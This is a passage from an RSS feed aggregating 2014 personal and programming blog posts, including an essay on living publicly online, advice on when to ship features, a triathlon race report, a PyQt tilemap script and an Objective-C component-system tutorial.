  &lt;li&gt;&lt;strong&gt;&lt;a href="http://www.last.fm/user/captn3m0" title="My last.fm profile page"&gt;Last.FM&lt;/a&gt;&lt;/strong&gt; - All my music tastes, along with real-time upates on what I’m listening to.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href="https://facebook.com/capt.n3m0" title="My facebook profile"&gt;Facebook&lt;/a&gt;&lt;/strong&gt; - All of my posts on facebook are public. I do have some private messaging interactions on facebook (I never initiate them) and usually move them to email if they grow important.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href="https://twitter.com/captn3m0" title="My twitter account"&gt;Twitter&lt;/a&gt;&lt;/strong&gt; - Tiny byte-sized thoughts and observations are again, public. My account is set to public, which doesn’t mean that I trust twitter with my data. It just means that I expect my data to be public.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/captn3m0" title="My github account"&gt;GitHub&lt;/a&gt;&lt;/strong&gt; - One of the few companies I trust to keep my data safe. Barring a few exceptions, everything I do on github is public, ready for anyone to analyze and use as public data. In fact, github makes all of its timeline data available to public as a dataset on bigquery.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href="http://share.xmarks.com/folder/bookmarks/Jy4cCyZzZR" title="My Shared public bookmarks"&gt;Bookmarks&lt;/a&gt;&lt;/strong&gt; - Most of my bookmarks are public via xmarks. I haven’t synced it in a while since XMarks and Chrome Sync don’t work well together, but plan to do something about this as well.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Along with all this, most of the writing I do these days is for public consumption, either via my Blog, or some platform like &lt;a href="https://www.quora.com/Abhay-Rana" title="My Quora profile"&gt;Quora&lt;/a&gt;, StackExchange, or Medium.&lt;/p&gt;

&lt;h2 id="why"&gt;Why&lt;/h2&gt;
&lt;p&gt;My reasoning behind keeping all of my online life public is twofold:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;This creates a public archive of my life, accessible to everyone.&lt;/li&gt;
  &lt;li&gt;It doesn’t give me an illusion of privacy when there is none.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In reference to (1) above, I recently setup Google Inactive Accounts, and have to commend Google on the execution of the concept. Be sure to check it out at &lt;a href="https://www.google.com/settings/account/inactive"&gt;https://www.google.com/settings/account/inactive&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="disadvantages"&gt;Disadvantages&lt;/h2&gt;
&lt;p&gt;This lifestyle choice is not without its comebacks. Stalking me, for example, is very easy. So is probably impersonating me as well. However, these are risks I’m willing to take in order to lead a public life.&lt;/p&gt;

&lt;h2 id="exceptions"&gt;Exceptions&lt;/h2&gt;
&lt;p&gt;By now you might be thinking of me as a pro-facebook share-everything kind of guy. But that’s not completely true. I do have clear limits on what counts as public and what does not. I value my privacy (and that of those close to me) very dearly.&lt;/p&gt;

&lt;p&gt;For instance, I count my photographs as something very private. I almost never post public updates anywhere with my picture in it. Perhaps its because I never had any phone with decent camera. Whatever the reason, I try really hard to keep my pictures off the internet.&lt;/p&gt;

&lt;p&gt;Another related issue is when the update would involve someone beside me. For example, my sister was recently engaged and I didn’t go on a social update spree telling the whole world about it, because I value her privacy.&lt;/p&gt;

&lt;p&gt;My simple rule of thumb is to ask for permission, rather than beg for forgiveness as a person’s privacy is far more important.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Thu, 14 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/08/14/my-public-life/</guid></item><item><title>When to ship it, when to kill it</title><link>/2014/08/13/When-to-ship-it-when-to-kill-it/</link><description>&lt;p&gt;A few weeks ago at lunch I had the opportunity to catch up with a company in the current YC batch, building something very similar to dataclips. While we talked about a lot of things from what we&amp;rsquo;ve learned from dataclips, marketing, and other areas. One area we talked about was product and when to ship vs. when to kill things and I realized I hadn&amp;rsquo;t talked on my fairly simple but clear view on this publicly, so here it is.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A large credit to &lt;a href="http://www.twitter.com/hirodusk"&gt;Adam Wiggins&lt;/a&gt; for giving this model early on in Heroku and his approach to shipping product.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="a-precursor-to-shipping"&gt;
&lt;div&gt;
A precursor to shipping
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;First a little background on shipping, in shipping something I&amp;rsquo;m going to assume you have some process of alpha/beta testing with users. This is actually fairly key, if you&amp;rsquo;re not testing it with users then well the rest of this is all moot. Alpha and beta testing is pretty simple, you need some early users. These can be friends, people within a network, or random users you select from. There&amp;rsquo;s different value to how you select these but that&amp;rsquo;s a topic for another time and place.&lt;/p&gt;
&lt;h3 id="on-to-shipping"&gt;
&lt;div&gt;
On to shipping
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;So how do you know it&amp;rsquo;s ready. The basic idea is super simple. Give it to some users in alpha/beta testing. Or start to roll it out following a one -&amp;gt; some -&amp;gt; many all principle (maybe to 5% or 10% of your userbase). Then take that brand new feature away.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a couple of ways to do this as far as mechanics. If you&amp;rsquo;re in contact with users such as alpha/beta users that you were higher touch with just email them. Tell them you&amp;rsquo;re removing the feature, or if you want to approach it more softly ask them how much they&amp;rsquo;d miss it if it were gone tomorrow. If you&amp;rsquo;re rolling it out more broadly perhaps behind a feature flag, flip it off and watch for feedback.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Once you take the feature away or threaten to if you don&amp;rsquo;t have users with pitchforks almost immediately then it&amp;rsquo;s not ready to ship&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Go back to the drawing board and work more on it or simply kill it. As &lt;!-- raw HTML omitted --&gt;@james_heroku&lt;!-- raw HTML omitted --&gt; would say: &amp;ldquo;So you&amp;rsquo;re saying the reason to ship the shitty thing now is becase you&amp;rsquo;ve spent a lot of time on it?&amp;rdquo;. Stepping back it&amp;rsquo;s all logical, but all too often it&amp;rsquo;s not put in practice when shipping it.&lt;/p&gt;
&lt;h3 id="your-metrics-can-lie"&gt;
&lt;div&gt;
Your metrics can lie
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Relying on just seeing a user spend some time on the new feature can often be misleading vs. the above approach. There&amp;rsquo;s a great talk by Des Traynor over at &lt;!-- raw HTML omitted --&gt;intercom.io&lt;!-- raw HTML omitted --&gt; that hits on this in part, the basic premise in there is that users shifting time from feature X to Y doesn&amp;rsquo;t mean it was a success it just means they&amp;rsquo;re spending time on something different. In launching new things you want to increase the overall value of your product, not simply shift users focus to the new flavor of the week.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Wed, 13 Aug 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/08/13/When-to-ship-it-when-to-kill-it/</guid></item><item><title>Fletcher Richman: Managing Director of Spark Boulder</title><link>https://solomon.io/fletcher-richman-managing-director-of-spark-boulder/</link><description>What happens to an entrepreneur after consecutive startup failures?</description><author>Sam Solomon</author><pubDate>Wed, 13 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/fletcher-richman-managing-director-of-spark-boulder/</guid></item><item><title>Errors Are Usually Bad! A Cautionary Tale</title><link>https://xavd.id/blog/post/errors-are-usually-bad/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/errors-are-usually-bad/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Wed, 13 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/errors-are-usually-bad/</guid></item><item><title>USA's Digital Playbook</title><link>https://www.danstroot.com/posts/2014-08-12-usa-digital-playbook</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/USDS_Playbook.png" /&gt;&lt;br /&gt;&lt;br /&gt;The White House announced on Monday, August 11th 2014, that it is formally launching a new U.S. Digital Service and that it has hired Mikey Dickerson to lead it.  Mickey Dickerson is an engineer widely credited with playing a central role in salvaging HealthCare.gov. The idea behind the USDS is institutionalizing the approach that saved the US health care website.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-08-12-usa-digital-playbook"&gt;USA's Digital Playbook&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Tue, 12 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-08-12-usa-digital-playbook</guid></item><item><title>Interesting Code Comment</title><link>https://boyter.org/2014/08/interesting-code-comment/</link><description>&lt;p&gt;Found the following comment in some code I had modified a few years ago.&lt;/p&gt;
&lt;p&gt;Just to set this up, its an existing application I had no hand in creating, and is a totally atrocity of 180,000 lines of untested code (and pretty much un-testable) which through the abuse of extension methods lives in a single class spread out across multiple files.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/*
This is evil but necessary. For some reason people have put validation rules here rather then in the bloody ValidationHelper. Thanks to their incompetence or genius... we now have no idea if we add the extra validation in the correct place and call it here if it will work. Since this is also 180,000 lines of non tested nor testable code (without refactoring) I have no confidence in making any changes. Sure we have subversion but that dosnt allow us to code fearlessly ripping apart methods and refactoring since we have no test safety net.

I guess the obligatory car analogy would be driving down the highway, carrying nuclear waste, in an open container, in a snow storm, with acid/lsd/ice fueled drugie ninja bikies attacking you, while on fire, while juggling chainsaws, and all of a sudden you need to change the tyre. So much is going on that its you dont want to risk it and then when forced to do so
you know its going to end up badly.

If you are still reading this then for the love of all things holy, help by refacting stuff so we can test it properly. The DAO layer should be fairly simple but everthing else is a shambles.

Rant time over. Lets commit sin by adding more validation.
*/
&lt;/code&gt;&lt;/pre&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 12 Aug 2014 01:58:54 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/08/interesting-code-comment/</guid></item><item><title>Pathfinder: two heroes are born</title><link>https://liza.io/pathfinder-two-heroes-are-born/</link><description>&lt;p&gt;It was a chilly summer evening when Valeros the valiant fighter and Merisiel the super cool rogue walked through the gates of a tiny abandoned farmhouse. They were heroes, you see, and here to rescue the people of the land from a gang of notorious thieving wanderers - the Sczarni - who have been terrorizing Sandpoint under the leadership of a punk named Jubrayl Vhiski.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 12 Aug 2014 00:54:49 GMT</pubDate><guid isPermaLink="true">https://liza.io/pathfinder-two-heroes-are-born/</guid></item><item><title>Getting to Know Fiddler: Part III: Use breakpoints to edit live requests</title><link>https://joshuarogers.net/articles/2014-08/getting-know-fiddler-part-iii/</link><description>One of the great things about using an API is that it implies that I can use functionality that I don't have to write myself. I can write an app that live tweets driving directions between two random Yelp reviews without ever having to directly know how the tweeting or directing is taking place. As long as I stick to the API, I can pretty much accept that the API's functionality should usually &amp;ldquo;just work&amp;rdquo;.</description><author>Joshua Rogers</author><pubDate>Mon, 11 Aug 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-08/getting-know-fiddler-part-iii/</guid></item><item><title>The People's Triathlon 2014</title><link>https://caiustheory.com/the-peoples-triathlon-2014/</link><description>&lt;p&gt;My first Olympic distance triathlon, and the first time I&amp;rsquo;ve ever run 10km to boot.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1500m Open Water (Freshwater Lake) Swim: 00:38:08&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Equally happy and upset with my swim. Basically everything went well except my wetsuit, must get a proper swimming one (possibly sleeveless) before my next wetsuit event. Having to get out at the end of each lap and run down the bank to re-enter the water was a bit strange but not too bad. Worst bit of that was diving back in and forgetting to look down - goggles bruised the edge of my eyesocket!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 1: 00:03:53&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Took this at a sedate pace, didn&amp;rsquo;t rush but didn&amp;rsquo;t dawdle either. Perhaps could&amp;rsquo;ve gone a bit quicker but not unhappy with it. Found bike OK this time, although chain fell off as I went to mount which was slightly annoying.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;40km Cycle: 01:28:49&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Started off really badly, managed to knock my watch from cycle into Transition 2 before I&amp;rsquo;d gotten out the car park. Had to reset it quickly into just bike mode from multisport mode which wasn&amp;rsquo;t too bad to be fair, just annoying. Having done the route in training was a &lt;em&gt;big&lt;/em&gt; help on the day, I was aiming for about the time I did it in. Didn&amp;rsquo;t push too hard on the two hills (one of which looks deceptively easy). Very happy with my time and more importantly how little effort it was comparatively.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transition 2: 00:01:28&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Quicker than T1, as normal. Got my shit on quickly, didn&amp;rsquo;t forget anything and even managed to get my watch in run mode whilst jogging to the exit of the transition area.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;10km Run: 01:18:40&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The bit I was dreading the most. Very very happy with my performance here though. Walked about 90 seconds of the whole thing and kept plodding away the rest of the time. Given the furthest I&amp;rsquo;d run solidly in training was about 5.5km, I was exceptionally happy to just keep plodding the whole time. Managed to not take on liquid for the third lap, which lead to some impressive cramping in my right quad, so making sure I take liquid on is a definite thing to watch out for in future. And amazingly I wasn&amp;rsquo;t even tail end charlie (not that it really matters, given I race the clock, not other people. But still.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total: 03:30:51&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a tiny part of me that&amp;rsquo;s gutted I didn&amp;rsquo;t manage it in under 3:30 hours, but what&amp;rsquo;s 51 seconds over that period of time. More importantly, I completed the bloody thing! Especially happy with the run, enjoyed the cycle even if it was trying to drown us (there was 6&amp;quot; deep standing water on one of the roundabouts by the end), and mostly happy with my swim.&lt;/p&gt;
&lt;p&gt;Looking forward to returning next year and beating 3:30!&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Mon, 11 Aug 2014 13:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/the-peoples-triathlon-2014/</guid></item><item><title>What exactly happened to Brightball for hire?</title><link>https://www.brightball.com/articles/what-exactly-happened-to-brightball-for-hire</link><description>It's been about four years since we last took on a new project as a company. Work continued for existing clients for a long time after that, but the company itself was basically dead from that point. I was on vacation with my family last week and somewhat reflecting on exactly how I got there after ending up in a hospital bed in the middle of the night four years ago trying to keep it going. Here's how it happened.
NOTE: I still personally consult through Brightball.</description><author>Brightball Articles</author><pubDate>Mon, 11 Aug 2014 04:24:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/what-exactly-happened-to-brightball-for-hire</guid></item><item><title>The Amazing Spider-Man 2</title><link>https://olshansky.info/movie/the_amazing_spider-man_2/</link><description>Olshansky's review of The Amazing Spider-Man 2</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 10 Aug 2014 18:33:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_amazing_spider-man_2/</guid></item><item><title>simple library publishing with Gradle</title><link>https://zserge.com/posts/gradle-maven-publish/</link><description>So, you switched to Gradle and just finished you new shiny Android library (or java library). And of course you want to share it with the community.
Here&amp;rsquo;s a quick guide for those who never published their libraries before.
What is maven central? In java world libraries are usually stored in a big repository called Maven Central. You may think of it as of the NPM repository for Node.js or as of PyPI for Python.</description><author>zserge's blog</author><pubDate>Sun, 10 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/gradle-maven-publish/</guid></item><item><title>Screenshot Saturday 184</title><link>https://etodd.io/2014/08/09/screenshot-saturday-184/</link><description>&lt;p&gt;This week was a lot of level design. I'm working on a group of "fractured" but interconnected worlds that the player has to progress through.&lt;/p&gt;
&lt;p&gt;Here's a screenshot:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/FJnrfth.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/FJnrfthl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.crydev.net/viewtopic.php?f=310&amp;amp;t=99369"&gt;Here's the thread&lt;/a&gt; where I got that rock texture. It's a gold mine with a bunch of totally free diffuse, specular, normal, and even displacement maps.&lt;/p&gt;
&lt;p&gt;Unfortunately that's all I have time to talk about today. Thanks for reading!&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 09 Aug 2014 03:26:06 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/08/09/screenshot-saturday-184/</guid></item><item><title>Consumer Centric API Design</title><link>https://thomashunter.name/posts/2014-08-09-consumer-centric-api-design-a-creative-commons-book</link><author>Thomas Hunter II</author><pubDate>Sat, 09 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-08-09-consumer-centric-api-design-a-creative-commons-book</guid></item><item><title>2014-08-09</title><link>https://ho.dges.online/pictures/2014-08-09/</link><description/><author>ho.dges.online</author><pubDate>Sat, 09 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-09/</guid></item><item><title>Wolfling runs</title><link>https://liza.io/wolfling-runs/</link><description>&lt;p&gt;&lt;strong&gt;Wolfling run&lt;/strong&gt;: &amp;ldquo;a method of playing the Creatures games in which the players do not intervene in the lives of their norns.&amp;rdquo; &lt;a href="http://creatures.wikia.com/wiki/Wolfling_run"&gt;Creatures wiki&lt;/a&gt;.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Fri, 08 Aug 2014 15:10:37 GMT</pubDate><guid isPermaLink="true">https://liza.io/wolfling-runs/</guid></item><item><title>2014-08-08/01</title><link>https://ho.dges.online/pictures/2014-08-08-01/</link><description/><author>ho.dges.online</author><pubDate>Fri, 08 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-08-01/</guid></item><item><title>2014-08-08/02</title><link>https://ho.dges.online/pictures/2014-08-08-02/</link><description/><author>ho.dges.online</author><pubDate>Fri, 08 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-08-02/</guid></item><item><title>2014-08-07</title><link>https://ho.dges.online/pictures/2014-08-07/</link><description/><author>ho.dges.online</author><pubDate>Thu, 07 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-07/</guid></item><item><title>[8.5.14] Chibi Atomic Jeep: Powerwheels Racing</title><link>https://transistor-man.com/miters-jeep.html</link><description>At the last moment a group of mitersians decided to build an entry for the Detroit makerfaire powerwheels racing series</description><author>transistor-man.com</author><pubDate>Wed, 06 Aug 2014 11:38:38 GMT</pubDate><guid isPermaLink="true">https://transistor-man.com/miters-jeep.html</guid></item><item><title>Simple Reloading Server in Bash</title><link>https://blog.varunramesh.net/posts/simple-reloading-server-in-bash/</link><description>A snippet for a reloading server in bash.</description><author>Varun Ramesh's Blog</author><pubDate>Wed, 06 Aug 2014 10:16:00 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/simple-reloading-server-in-bash/</guid></item><item><title>A tilemap in PyQt for a bigger game project</title><link>https://ericonotes.blogspot.com/2014/08/a-tilemap-in-pyqt-for-bigger-game.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzxFMFjFGxgrpowvIKVAUqvVGGRhG8XmZwm2j4tk0XTFhJM_cH7nStfAkqbELgWX8T044suhsnDLo9kOiHtS5O1vbihudC8IwXWGB8HPQysVz2D_pWxpizKcZr0kXNKOkXEFTGXUTV18hv/s1600/screenc1ap.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzxFMFjFGxgrpowvIKVAUqvVGGRhG8XmZwm2j4tk0XTFhJM_cH7nStfAkqbELgWX8T044suhsnDLo9kOiHtS5O1vbihudC8IwXWGB8HPQysVz2D_pWxpizKcZr0kXNKOkXEFTGXUTV18hv/s1600/screenc1ap.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
I wanted to get back into game development, as a hobby, for some time now. I have some idea of what I want: a simple 2d rpg game, like Pokemon in Game Boy. So for starts, I needed a way to draw tilemaps, a good editor, something I could customize for my needs.&lt;br /&gt;
&lt;br /&gt;
But I really couldn't find anything as easy to use as I wanted so I decided to write my own. I opted to use Python and PyQt - and I don't know much about any of them, so I had a slow start. I'm reading about PyQt for two days in all my free time.&lt;br /&gt;
&lt;br /&gt;
Until now I just have a window showing a hardcoded tilemap on screen. I'm sharing it, even unfinished, since I had a really hard time figuring out the steps to do this.&lt;br /&gt;
&lt;br /&gt;
Since python cares about identation, I'm sharing a link: &lt;a href="http://pastebin.com/d1FGDCJf"&gt;http://pastebin.com/d1FGDCJf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code style="color: black;"&gt; #!/usr/bin/env python  
 # display a tiled image from tileset with PyQt  
 import sys  
 from PIL import Image  
 from PIL.ImageQt import ImageQt  
 from PyQt4 import QtGui, QtCore  
 from PyQt4.QtGui import QImage  
 from numpy import ndarray  
 # Simple background, will use open from a file in future  
 background =   [[12, 2,12, 2, 1, 2, 3, 3, 1, 1],  
      [ 1, 1, 7, 8, 5, 6, 7, 8,12, 3],  
      [ 1, 3, 1, 3,12,10,10, 1,12,12],  
      [ 2,12, 0, 4,10, 3,12, 2,12,12],  
      [12,12, 1, 1,10, 3,12, 2,12, 1],  
      [12,12,12, 0,10, 2, 1,12, 1,12],  
      [ 3,12, 3,12, 0, 2, 2,12,12, 3],  
      [ 1,12, 1,12, 1, 1,12,12, 3,12],  
      [ 3,12, 0,12,12,12,12,12, 3, 3],  
      [12, 3, 1, 2, 3,12,12,12, 1,12]]  
 # This will have the tileset  
 tileset = []   
 # last time I was writing this save function!  
 def save():  
   f = open( "map.txt" , "wb" )  
   f.write( "background :   [" )  
   for i in range(len(background) ):  
         f.write( "[" )  
     for j in range(len(background[0])):  
       f.write( str(background[j][i]) )  
       f.write( "," ) if j != len(background[0])-1 else (f.write( "]," ) if i != len(background)-1 else f.write( "]" ))  
     f.write( "\n" ) if i != len(background)-1 else f.write( "]" )  
   f.close()  
 class MyImage(QtGui.QWidget):  
   def __init__(self, parent, width, height):  
     QtGui.QWidget.__init__(self, parent)  
     BOX_SIZE = 32  
     image_file = Image.open("simpletile.png")  
     self.setWindowTitle("View tiled background")  
     # get tileset file and split it in images that can be pointed through array  
     if image_file.size[0] % BOX_SIZE == 0 and image_file.size[1] % BOX_SIZE ==0 :  
       currentx = 0  
       currenty = 0  
       tilei = 0  
       while currenty &amp;lt; image_file.size[1]:  
         while currentx &amp;lt; image_file.size[0]:  
           print currentx,",",currenty  
           tileset.append( image_file.crop((currentx,currenty,currentx + BOX_SIZE, currenty + BOX_SIZE)) )  
           tilei += 1  
           currentx += BOX_SIZE  
         currenty += BOX_SIZE  
         currentx = 0  
     # get the background numbers and use to get the tiles    
     for i in range(len(background) ):  
       for j in range(len(background[0])):  
         image = ImageQt( tileset[ background[j][i] ] )  
         pixmap = QtGui.QPixmap.fromImage(image)  
         image = QtGui.QPixmap(pixmap)  
         label = QtGui.QLabel(self)  
         label.setGeometry(i*BOX_SIZE+10, j*BOX_SIZE+10, BOX_SIZE, BOX_SIZE)  
         label.setPixmap(image)  
 save()  
 app = QtGui.QApplication(sys.argv)  
 width = 320  
 height = 320  
 w = MyImage(None, width, height)  
 w.setGeometry(100, 100, width+20, height+20)  
 w.show()  
 app.exec_()  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;</description><author>Erico Notes</author><pubDate>Wed, 06 Aug 2014 05:53:57 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2014/08/a-tilemap-in-pyqt-for-bigger-game.html</guid></item><item><title>On snail eggs</title><link>https://liza.io/on-snail-eggs/</link><description>&lt;p&gt;Even though I&amp;rsquo;ve had a functional breeding system in Gastropoda for a while, it still isn&amp;rsquo;t actually &lt;em&gt;done&lt;/em&gt;. Most common snails do not give birth to live young&amp;hellip;and definitely not to &lt;em&gt;one&lt;/em&gt; live young. Initially it was good to just have the snails pop out one live baby snail so that I could properly observe and test the genetics and other attributes generated for the newborn. Now, however, with that being well on track, it is time to implement&amp;hellip;egg laying.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 06 Aug 2014 02:42:48 GMT</pubDate><guid isPermaLink="true">https://liza.io/on-snail-eggs/</guid></item><item><title>Component System using Objective-C Message Forwarding</title><link>https://whackylabs.com/concurrency/2014/08/05/component-system-objc/</link><description>&lt;p&gt;Ever since I started playing around with the Unity3D, I wanted to build one of my games with component system. And, since I use Objective-C most of the time, so why not use it.&lt;/p&gt;

&lt;p&gt;First let me elaborate on my intention. I wanted a component system where I’ve a GameObject that can have one or more components plugged in. To illustrate the main problems with the traditional Actor based model lets assume we’re developing a platformer game. We have these three Actor types:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Ninja: A ninja is an actor that a user can control with external inputs.&lt;/li&gt;
  &lt;li&gt;Background: Background is something like a static image.&lt;/li&gt;
  &lt;li&gt;HiddenBonus: Hidden bonus is a invisible actor that a ninja can hit.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Source: Swim Ninja
Source: Swim Ninja
Let’s take a look at all the components inside these actors.&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Ninja = RenderComponent + PhysicsComponent
Background = RenderComponent
HiddenBonus = PhysicsComponent.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here RenderComponent is responsible for just drawing some content on the screen, while the PhysicsComponent is responsible for just doing physics updates like, collision detection.&lt;/p&gt;

&lt;p&gt;So, in a nutshell from our game loop we need to call things like&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;loopUpdate&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;dt&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bonus&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;loopRender&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, in the traditional Actor model, if we have an Actor class with both RenderComponent and PhysicsComponent like:&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;Actor&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
